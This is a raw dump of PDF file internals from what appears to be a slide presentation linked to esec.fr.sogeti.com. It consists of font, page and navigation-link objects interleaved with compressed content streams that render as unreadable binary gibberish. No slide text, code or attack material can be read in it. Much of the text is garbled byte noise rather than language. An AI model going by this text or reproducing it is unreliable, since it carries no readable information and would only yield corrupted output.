w3VDpi$eNw%ǷO8m^\p__V1ʼn<ϫ;yēQ*)_ǯ񄒌<<ң;"(ݿy-IGĝmfF<.yEeԓhl!Sk4}ǜAjm3|3C)gR.kU_'^7YǙӴ)\AL6}Kny_\'1 ׅ1p6/VFM{-:R„!돒AOIt\8{ cG'r m<3 }sb ǩ$iK,W֯|ZI"dEW[הu|O(||`A=H\S|!dL#Wp I endstream endobj 778 0 obj << /Type /Font /Subtype /Type1 /BaseFont /PMVACP+CMTT8 /FontDescriptor 1285 0 R /FirstChar 34 /LastChar 125 /Widths 1245 0 R >> endobj 779 0 obj << /Type /Font /Subtype /Type1 /BaseFont /UKRHQQ+CMSY7 /FontDescriptor 1279 0 R /FirstChar 39 /LastChar 39 /Widths 1244 0 R >> endobj 780 0 obj << /Type /Font /Subtype /Type1 /BaseFont /SRDPYF+CMMI7 /FontDescriptor 1259 0 R /FirstChar 59 /LastChar 59 /Widths 1243 0 R >> endobj 781 0 obj << /D [ 776 0 R /XYZ 334.488 1.245 null ] >> endobj 782 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 783 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 784 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 785 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 786 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 787 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 788 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 789 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 790 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 791 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 792 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 793 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 794 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 795 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 796 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 797 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 798 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 799 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 800 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 801 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 802 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 803 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 804 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 805 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 806 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 807 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 808 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 809 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 810 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F59 813 0 R /F56 205 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 811 0 obj << /Type /Page /Contents 812 0 R /Resources 810 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 782 0 R 783 0 R 784 0 R 785 0 R 786 0 R 787 0 R 788 0 R 789 0 R 790 0 R 791 0 R 792 0 R 793 0 R 794 0 R 795 0 R 796 0 R 797 0 R 798 0 R 799 0 R 800 0 R 801 0 R 802 0 R 803 0 R 804 0 R 805 0 R 806 0 R 807 0 R 808 0 R 809 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 812 0 obj << /Length 2593 /Filter /FlateDecode >>stream xr@.k*mTq!:hVDJt<,b.@LgY1+Xq~¶wa4rRŠ SҳܺUK)QX𞡋onqm %T7899m҂^"Uzw6.~:@l]ni7 ̧8_W^ME| M;kgMH]pHR(e vH\Ɉ~ ն6atFf8T{[7SN$Hq]#|gE. R~z&]䜯@K7`4 L^6G8E?aꄾ69EcTPg~\qNȤqEn!6yێl@^*-BrNYcXQ9 ~[ }n^%02DU x{/l)le!ঔF6S;jQ/ _(cmxF`^pW$, #va?-`.3$%RAv ]Wlu ḇ`D-&''d;ZqUNPHG j뻯(t9 (8UIyHP{J:$).Cz:เ ^')u ( $SrE[*zց^yӏp2* ӦTzfuk!"f%Eל𥎩%/q_~k&1#D6nl[A2#j+P(m!=4:{lk 90G͂^כo$J CLKKbq R;tiD^0+1' Ci-\cs·I 13_LeZ~K=đ.F.a[ZT$2@c5ze8rD~4.{r0 C e?&dtaP܃^SG2d.ٝ-ھrwaH"`Kj>zZ:F[I0졧{[ V3їHOEsyPOyP>O,q 嚀ơ1J2<B Nx O|}cvzQ(c]YPk *Uq%IFA"rLnkF}oIi >&7&Xmޒ,C>ґҩ:>ov %%zp"%,M["i*bMy1j "w_֩Bcy~X*aMcipIOf;p 96(g r9m|!nGc\,danKQvW9M8㮫(ޕ8ḛX7aj6R6܉VSn&$ɿoB]C$k{ۉ_"bM~+JH MԲrVjY 6>ߞ&'yEJi & _M;!qmݱ]ۆr7&"M%mۆ:s/VssE?ѭ6*w.*^U?+?o¥ݦFIEmk& ]a]dN7x^^ ?1AT9O!\fSy#"61fRasTq:{ endstream endobj 813 0 obj << /Type /Font /Subtype /Type1 /BaseFont /HJLAUA+CMSY9 /FontDescriptor 1281 0 R /FirstChar 41 /LastChar 41 /Widths 1242 0 R >> endobj 814 0 obj << /D [ 811 0 R /XYZ 334.488 1.245 null ] >> endobj 815 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 173.47 167.034 185.473 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 816 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 147.129 151.749 158.574 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 817 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 122.163 101.969 131.675 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 818 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 110.207 109.959 119.024 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 819 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 96.32 182.187 107.069 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 820 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 69.42 253.638 80.865 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 821 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 822 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 823 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 824 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 825 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 826 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 827 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 828 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 829 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 830 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 831 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 832 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 833 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 834 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 835 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 836 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 837 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 838 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 839 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 840 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 841 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 842 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 843 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 844 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 845 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 846 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 847 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 848 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 849 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm20 641 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 850 0 obj << /Type /Page /Contents 851 0 R /Resources 849 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 821 0 R 822 0 R 823 0 R 824 0 R 825 0 R 826 0 R 827 0 R 828 0 R 829 0 R 830 0 R 831 0 R 832 0 R 833 0 R 834 0 R 835 0 R 836 0 R 837 0 R 838 0 R 839 0 R 840 0 R 841 0 R 842 0 R 843 0 R 844 0 R 845 0 R 846 0 R 847 0 R 815 0 R 816 0 R 817 0 R 818 0 R 819 0 R 820 0 R 848 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 851 0 obj << /Length 1974 /Filter /FlateDecode >>stream xZs#5 _a^ !oܕk;Kҙ{$c7&%1MwײeKϲĵP#|ZFZb1WG֘-S6m u&JgST.O:sF\ HaL$^Z b2?:~ċ![K&J$qu^w6&9ũ8%,]&E'4E'h@ .1B Ĺ8zE\QpdneB%E #+G}6%n[QmrEގ"SXo;liσK PC&h;",#uQ>ATQ$a}V/'^+4)hp% B"h ǵ=AD|fJ ]W4 Ȩ6ޚɡuڞtbTRαD&Y /I55:p"Fً`W '?ƽ]zM5'ݟo14/D+"~uR=3D1mTС} nD2/Z4hc[' ^*FfB/tEb_]S\B$Zc6P- pkȿClYShe1WFjDb}3GL a 'sDc*쫁Qӂ1n84k1W]xH9K1vh#߾-we0fփ!#ͅ$U[(ңW쳻Zj =o*TuWk'V|T3aE<EqA9]w4 (~H*!⯇BcC4;c"qg&OJ`Pg950'Ȕ0hI[qp_=;MqV 仂-v1 }Hwn7A%(!i  -AO+Ŝ0\1x_'cv1sHwn7Xkb[sblx1 m`5 J hw}]"> endobj 853 0 obj << /D [ 884 0 R /XYZ 334.488 1.245 null ] >> endobj 854 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 3.778 3.778 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 888 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 855 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 856 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 857 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 858 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 859 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 860 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 861 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 862 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 863 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 864 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 865 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 866 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 867 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 868 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 869 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 870 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 871 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 872 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 873 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 874 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 875 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 876 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 877 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 878 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 879 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 880 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 881 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 882 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 883 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F14 592 0 R /F56 205 0 R /F84 886 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 884 0 obj << /Type /Page /Contents 885 0 R /Resources 883 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 855 0 R 856 0 R 857 0 R 858 0 R 859 0 R 860 0 R 861 0 R 862 0 R 863 0 R 864 0 R 865 0 R 866 0 R 867 0 R 868 0 R 869 0 R 870 0 R 871 0 R 872 0 R 873 0 R 874 0 R 875 0 R 876 0 R 877 0 R 878 0 R 879 0 R 880 0 R 881 0 R 882 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 885 0 obj << /Length 2502 /Filter /FlateDecode >>stream xZs _\]8m^lB>K_D)ɗ&^F&~`3| +VT\bgov>Yyϭ+X帔 etV8ZSxtt@TJ𢞟yn֕aFȆyr/DXw 7ㅐ^Ry(r..>8o/`g, IS\go15"7AD8SOy]1y"Hcd)r`RoQx1 2I?qfy%'T`+4 Al;<9(Q9!M<DF! KغHK?ga 3ic> ~*PY-~4EhF;`<(5/A4A:R~C~FmӏB&s!j V2=Glj75Qa#/`&_aoW]V4vK}U&6'QߏKe8*j1mPK:&|Yj\^`>L9sV9M.щ;J=(%&s7~B!?l욿U2<ѯܕ374\͎'cFͻxg jq.OS)KTp sΒVn pQYհQP>EL (sB" f mhA6.)]b<_tŒ^iw ?>wIʛÛS*RX8fR$Km}J^CJX ioSe ː\Hu@xNXC14ř+m]'"[ >uZ$ҡ<:6q  heˢ,4ۼFSDM#9D 7uC)F%]Ңih! X\ G#L}q0 G$wdb2=h%T\C(=?^.#WL &$$2&kPBulbW6%U`P{ (y^8 ܓg-ۉ앐NI!`ХIe ^Qm`ktю{ܲrˮ-n9u][ۅSl4:=%R3"x; ՋM05U=MCrqbv,3(t >d&'}6[[;}$z'$j]XUay4X9{j4k.kn5IA8Ohn"ݝaqkʹ5@c`^Q4G/nK2 BcAC+HCV|.Xod"Ө[%cyI*;4q48j爝 x m3<4!8§@Tag eGuuEl"8-5u P2p,?FA袝:0.V,/QǨ&H@Tn6:r HkЋ(Eԉa1*6EA}{ UZyu|AM]FH{$rZ?H"XqfTul +I]~"npM^S2!] qƏ|m1frEҼSd>J¶8"/~`Ca6Dis>pC-cxęN!>0'#_ ?ip/@p~X-h_ǮuMqqs9I%-cݍY7Zpo谛ZY| |er!_ޗR1*_<|TŢK}.l]41V[pjw"> endobj 887 0 obj << /D [ 884 0 R /XYZ 334.488 1.245 null ] >> endobj 888 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1.8888 ] /Coords [ 1.23436 2.69772 0 1.8888 1.8888 1.8888 ] /Function << /FunctionType 3 /Domain [ 0 1.8888 ] /Functions [ << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 0.99707 0.93333 0.75587 ] /N 